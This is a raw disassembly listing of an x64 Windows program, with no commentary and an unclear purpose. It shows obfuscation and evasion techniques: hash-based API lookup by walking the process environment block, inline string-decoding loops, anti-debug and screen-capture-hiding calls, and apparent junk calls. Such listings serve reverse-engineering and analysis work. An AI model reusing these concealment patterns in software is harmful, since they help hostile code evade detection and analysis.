movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140280721
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140280721
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140280721
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x14028074d
comiss xmm7, xmm6
jbe 0x14028074d
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
lea rdx, [r15 + 0x90]
movq r8, xmm2
lea rcx, str._s_f
call fcn.1402ae6e0
mov r15, r12
jmp 0x140280855
mov edx, dword [r15 + 0x350]
mov rcx, qword [r15 + 0x348]
call qword [sym.imp.GDI32.dll_SetBkColor]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140280809
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140280809
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xfe25f411
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140280804
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402807d0
cmp r10d, 0xf1fafd9d
je 0x140280811
test r11d, r11d
jne 0x1402807b0
mov rax, qword [rax]
jmp 0x140280780
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov edx, eax
lea rcx, [0x140375eb8]
call fcn.1402ae6e0
call qword [sym.imp.WINMM.dll_timeGetTime]
mov dword [r15 + 0x384], eax
xor ecx, ecx
call fcn.14031a77c
mov dword [r15 + 0x388], eax
vmxon qword [r15]
sete cl
setb al
adc cl, al
movzx eax, cl
mov qword [r15 + 0x5400], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x8810]
call fcn.1403163f0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x8810]
call fcn.1402acb80
nop
xor eax, eax
cmp qword [rbp + 0x88a0], rax
je 0x140280957
movdqa xmm0, xmmword [reloc.d2d1.dll_Ordinal_1]
movdqu xmmword [rbp + 0xb10], xmm0
mov qword [rbp + 0xb20], rax
movaps xmmword [rbp + 0xb30], xmm0
movsd xmm0, qword [rbp + 0xb20]
movsd qword [rbp + 0xb40], xmm0
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x8810]
call fcn.1402acd60
xor eax, eax
mov word [rbp + 0x8364], ax
lea r8d, [rax + 1]
lea rdx, [rbp + 0x8364]
lea rcx, [rbp + 0x8810]
call fcn.1400f20f0
lea rcx, [rbp + 0x8810]
call fcn.14006e910
cmp byte [rbp + 0x8364], 0x30
jne 0x140280b7e
lea rbx, [r15 + 0xc28]
lea rcx, [rbp + 0x88c0]
call fcn.14006cc70
lea rcx, [rbp + 0x88c0]
call fcn.140074030
mov r14, 0xffffffffffffffff
jmp 0x140280ba0
mov byte [rsp + 0x79], al
lea rdx, [rbp + 0x1018]
lea rcx, [rsp + 0x79]
call fcn.140276b10
mov r9, rax
lea r15, [rax + 0x1e]
mov word [r15 + 0xa], r12w
mov r11d, r12d
mov r10, r15
nop
lea edi, [r11 + r11*2]
movzx edx, word [r9 + rdi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea esi, [rax + r11]
movzx r8d, byte [r9 + 0x2c]
add r8w, si
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, word [r9 + rax*2]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x1402809c9
inc dl
cmp dl, 4
jne 0x1402809b3
jmp 0x1402809da
movzx r8d, r8w
movzx eax, byte [r9 + 0x2f]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rdi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x1402809f9
inc cl
cmp cl, 8
jne 0x1402809e6
jmp 0x140280a0d
movzx ecx, r8w
movzx eax, byte [r9 + 0x2e]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x140280a27
inc cl
cmp cl, 5
jne 0x140280a14
jmp 0x140280a3b
movzx ecx, r8w
movzx eax, byte [r9 + 0x2d]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0x2b]
add ax, si
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 5
jne 0x140280980
xor eax, eax
mov byte [rsp + 0x7a], al
lea rdx, [rbp + 0x14e0]
lea rcx, [rsp + 0x7a]
call fcn.140276aa0
mov r9, rax
lea r14, [rax + 0x2a]
mov word [r14 + 0xe], r12w
mov r11d, r12d
mov r10, r14
nop word [rax + rax]
lea edi, [r11 + r11*2]
movzx edx, word [r9 + rdi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea esi, [rax + r11]
movzx r8d, byte [r9 + 0x3c]
add r8w, si
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, word [r9 + rax*2]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x140280ad9
inc dl
cmp dl, 4
jne 0x140280ac3
jmp 0x140280aea
movzx r8d, r8w
movzx eax, byte [r9 + 0x3f]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rdi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x140280b09
inc cl
cmp cl, 8
jne 0x140280af6
jmp 0x140280b1d
movzx ecx, r8w
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x140280b37
inc cl
cmp cl, 5
jne 0x140280b24
jmp 0x140280b4b
movzx ecx, r8w
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0x3b]
add ax, si
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 7
jne 0x140280a90
xor r9d, r9d
mov r8, r15
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
lea rcx, [rbp + 0x88c0]
call fcn.14006cc70
lea rcx, [rbp + 0x88c0]
call fcn.140074030
mov r14, 0xffffffffffffffff
mov rbx, r14
call fcn.1402abdf0
movss xmm0, dword [rbx]
call fcn.1403268e8
movaps xmm6, xmm0
xor eax, eax
mov byte [rsp + 0x7b], al
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x7b]
call fcn.1402715b0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140280bec
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140280c23
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140280c23
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140280c23
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x140280c4c
comiss xmm7, xmm6
jbe 0x140280c4c
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
lea rdx, [rbx + 0x48]
movq r8, xmm2
lea rcx, [0x140375eb0]
call fcn.1402ae6e0
mov rbx, r12
jmp 0x140280d8c
call qword [sym.imp.KERNEL32.dll_GetACP]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140280c77
mov edx, edi
lea rcx, [0x140375eb8]
call fcn.1402ae6e0
jmp 0x140280ca9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140280c9e
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x140280ca9
mov ecx, 4
call qword [sym.imp.USER32.dll_SetDebugErrorLevel]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, qword [rbx + 0x2a8]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [rbx + 0xe0c]
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 0xe18]
mov dword [rsp + 0x28], eax
mov eax, dword [rbx + 0xe14]
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowPos]
test eax, eax
je 0x140280d0e
mov edx, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov r9, rbx
lea r8, [0x140271540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140280d8c
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [rbx + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [rbx + 0x160]
call qword [sym.imp.USER32.dll_ShowCursor]
call qword [sym.imp.USER32.dll_GetShellWindow]
mov qword [rbx + 0x780], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x818]
test rcx, rcx
je 0x140280d85
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x818], r12
mov r10d, r12d
movsxd rsi, dword [rbx]
test esi, esi
jle 0x140280de8
mov r11, r12
nop dword [rax]
mov eax, 1
test r11, r11
cmovne rax, r11
mov r8d, dword [rbx + rax*4 + 4]
mov r9d, 1
cmp dword [rbx + rax*4 + 8], r8d
cmovl r9, r14
add r9, rax
lea ecx, [r10 + 1]
test r11, r11
cmovne ecx, r10d
mov r10d, 1
cmp dword [rbx + rax*4 + 8], r8d
cmovl r10d, r14d
add r10d, ecx
mov r11, r9
cmp r9, rsi
jl 0x140280da0
imul esi, r10d
movsxd rax, esi
lea r14, [rbx + rax*4]
mov r12d, dword [r14 + 8]
lea r14, [r14 + 0xc]
mov r13d, dword [r14]
xor eax, eax
mov byte [rsp + 0x7c], al
lea rdx, [rbp + 0x1a40]
lea rcx, [rsp + 0x7c]
call fcn.140271470
mov r9, rax
mov byte [rax + 0x38], 0
xor r11d, r11d
lea r8, [rax + 0x2a]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x3b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140280e76
inc dl
cmp dl, 4
jne 0x140280e60
jmp 0x140280e85
movsx ecx, r10b
movzx eax, byte [r9 + 0x3e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140280ea4
inc cl
cmp cl, 8
jne 0x140280e92
jmp 0x140280eb3
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x3d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140280ed2
inc cl
cmp cl, 5
jne 0x140280ec0
jmp 0x140280ee1
movsx edx, byte [r8]
movzx eax, byte [r9 + 0x3c]
btc edx, eax
mov byte [r8], dl
add bl, byte [r9 + 0x3a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xe
jne 0x140280e30
mov r8d, r13d
mov edx, r12d
lea rcx, [r9 + 0x2a]
call fcn.1402ae6e0
lea eax, [r12*4 + 8]
movsxd rcx, eax
lea r13, [r14 + rcx*4]
test r13, r13
je 0x140280f37
mov edx, dword [r13 + 0x18]
imul edx, dword [r13 + 0x10]
mov eax, dword [r13 + 0x38]
lea ecx, [rax + rax*4]
add ecx, ecx
sub edx, ecx
movsxd rax, edx
movsxd r13, dword [r13 + rax*4]
movzx edx, byte [0x14039d209]
add edx, dword [0x14039d270]
mov r15d, 0x41
lea r8, [0x140000000]
cmp edx, 0x62
ja case.0x140280f6e.18
movzx eax, byte [r8 + rdx + 0x296124]
mov ecx, dword [r8 + rax*4 + 0x2960d8]
add rcx, r8
jmp rcx
xor eax, eax
mov byte [rsp + 0x7d], al
lea rdx, [rbp + 0x2660]
lea rcx, [rsp + 0x7d]
call fcn.140278cd0
mov r10, rax
mov byte [rax + 0x4c], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x39]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x4f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140280fe6
inc dl
cmp dl, 4
jne 0x140280fd0
jmp 0x140280ff5
movsx ecx, r9b
movzx eax, byte [r10 + 0x52]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281014
inc cl
cmp cl, 8
jne 0x140281002
jmp 0x140281023
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x51]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281042
inc cl
cmp cl, 5
jne 0x140281030
jmp 0x140281051
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x50]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x4e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x13
jne 0x140280fa0
mov eax, 0xcccccccd
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
mov eax, r8d
sub eax, ecx
cmp byte [r10 + rax + 0x39], 0x2e
jne 0x1402835aa
add r8d, 0x2b
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rsp + 0x7e], al
lea rdx, [rbp + 0x30a0]
lea rcx, [rsp + 0x7e]
call fcn.140278d60
mov r10, rax
mov byte [rax + 0x58], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x42]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x5b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281116
inc dl
cmp dl, 4
jne 0x140281100
jmp 0x140281125
movsx ecx, r9b
movzx eax, byte [r10 + 0x5e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281144
inc cl
cmp cl, 8
jne 0x140281132
jmp 0x140281153
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x5d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281172
inc cl
cmp cl, 5
jne 0x140281160
jmp 0x140281181
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x5c]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x5a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x16
jne 0x1402810d0
mov r8d, dword [0x14039d270]
mov eax, 0x86186187
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x15
mov ecx, r8d
sub ecx, eax
cmp byte [r10 + rcx + 0x42], 0x2e
jne 0x1402835aa
add r8d, 0xe
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rsp + 0x7f], al
lea rdx, [rbp + 0x3280]
lea rcx, [rsp + 0x7f]
call fcn.140278e00
mov r10, rax
mov byte [rax + 0x64], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x4b]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x67]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281246
inc dl
cmp dl, 4
jne 0x140281230
jmp 0x140281255
movsx ecx, r9b
movzx eax, byte [r10 + 0x6a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281274
inc cl
cmp cl, 8
jne 0x140281262
jmp 0x140281283
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x69]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402812a2
inc cl
cmp cl, 5
jne 0x140281290
jmp 0x1402812b1
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x68]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x66]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x19
jne 0x140281200
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 4
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp byte [r10 + rcx + 0x4b], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 0xd
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x80], al
lea rdx, [rbp + 0x26c0]
lea rcx, [rbp - 0x80]
call fcn.140278eb0
mov r10, rax
mov byte [rax + 0x4c], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x39]
nop
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x4f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281366
inc dl
cmp dl, 4
jne 0x140281350
jmp 0x140281375
movsx ecx, r9b
movzx eax, byte [r10 + 0x52]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281394
inc cl
cmp cl, 8
jne 0x140281382
jmp 0x1402813a3
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x51]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402813c2
inc cl
cmp cl, 5
jne 0x1402813b0
jmp 0x1402813d1
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x50]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x4e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x13
jne 0x140281320
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [r10 + rcx + 0x39], 0x2e
jne 0x140281414
mov dword [0x14039d270], 9
jmp 0x1402835aa
movzx ecx, byte [0x14039d209]
test ecx, ecx
je 0x140281796
sub ecx, 2
je 0x14028167b
sub ecx, 4
je 0x140281559
cmp ecx, 1
jne 0x1402835aa
xor eax, eax
mov byte [rbp - 0x7f], al
lea rdx, [rbp + 0x1210]
lea rcx, [rbp - 0x7f]
call fcn.140279090
mov r10, rax
mov byte [rax + 0x30], r12b
mov edi, r12d
lea r8, [rax + 0x24]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x33]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402814a6
inc dl
cmp dl, 4
jne 0x140281490
jmp 0x1402814b5
movsx ecx, r9b
movzx eax, byte [r10 + 0x36]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402814d4
inc cl
cmp cl, 8
jne 0x1402814c2
jmp 0x1402814e3
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x35]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281502
inc cl
cmp cl, 5
jne 0x1402814f0
jmp 0x140281511
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x34]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x32]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xc
jne 0x140281461
mov eax, 0xaaaaaaab
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp byte [rcx + r10 + 0x24], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 7
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x7e], al
lea rdx, [rbp + 0xe90]
lea rcx, [rbp - 0x7e]
call fcn.140279030
mov r10, rax
mov byte [rax + 0x28], r12b
mov edi, r12d
lea r8, [rax + 0x1e]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x2b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402815c6
inc dl
cmp dl, 4
jne 0x1402815b0
jmp 0x1402815d5
movsx ecx, r9b
movzx eax, byte [r10 + 0x2e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402815f4
inc cl
cmp cl, 8
jne 0x1402815e2
jmp 0x140281603
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x2d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281622
inc cl
cmp cl, 5
jne 0x140281610
jmp 0x140281631
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x2c]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x2a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xa
jne 0x140281580
mov eax, 0xaaaaaaab
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 1
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
cmp byte [r10 + rcx + 0x1e], 0x2e
jne 0x1402835aa
add r8d, 0xfffffff8
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x7d], al
lea rdx, [rbp + 0x1360]
lea rcx, [rbp - 0x7d]
call fcn.140278fd0
mov r10, rax
mov byte [rax + 0x30], r12b
mov edi, r12d
lea r8, [rax + 0x24]
nop
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x33]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402816e6
inc dl
cmp dl, 4
jne 0x1402816d0
jmp 0x1402816f5
movsx ecx, r9b
movzx eax, byte [r10 + 0x36]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281714
inc cl
cmp cl, 8
jne 0x140281702
jmp 0x140281723
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x35]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281742
inc cl
cmp cl, 5
jne 0x140281730
jmp 0x140281751
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x34]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x32]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xc
jne 0x1402816a0
mov eax, 0xaaaaaaab
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*2]
shl eax, 2
sub ecx, eax
cmp byte [r10 + rcx + 0x24], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], r12d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x7c], al
lea rdx, [rbp + 0x1f60]
lea rcx, [rbp - 0x7c]
call fcn.140278f40
mov r10, rax
mov byte [rax + 0x3c], r12b
mov edi, r12d
lea r8, [rax + 0x2d]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x3f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281806
inc dl
cmp dl, 4
jne 0x1402817f0
jmp 0x140281815
movsx ecx, r9b
movzx eax, byte [r10 + 0x42]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281834
inc cl
cmp cl, 8
jne 0x140281822
jmp 0x140281843
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x41]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281862
inc cl
cmp cl, 5
jne 0x140281850
jmp 0x140281871
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x40]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x3e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0xf
jne 0x1402817c0
mov eax, 0xaaaaaaab
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
sub ecx, eax
cmp byte [r10 + rcx + 0x2d], 0x67
je 0x140281916
xor eax, eax
mov byte [rbp - 0x7b], al
lea rdx, [rbp + 0x1cc]
lea rcx, [rbp - 0x7b]
call fcn.140278fb0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x1402818db
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140281916
movzx edx, byte [rax]
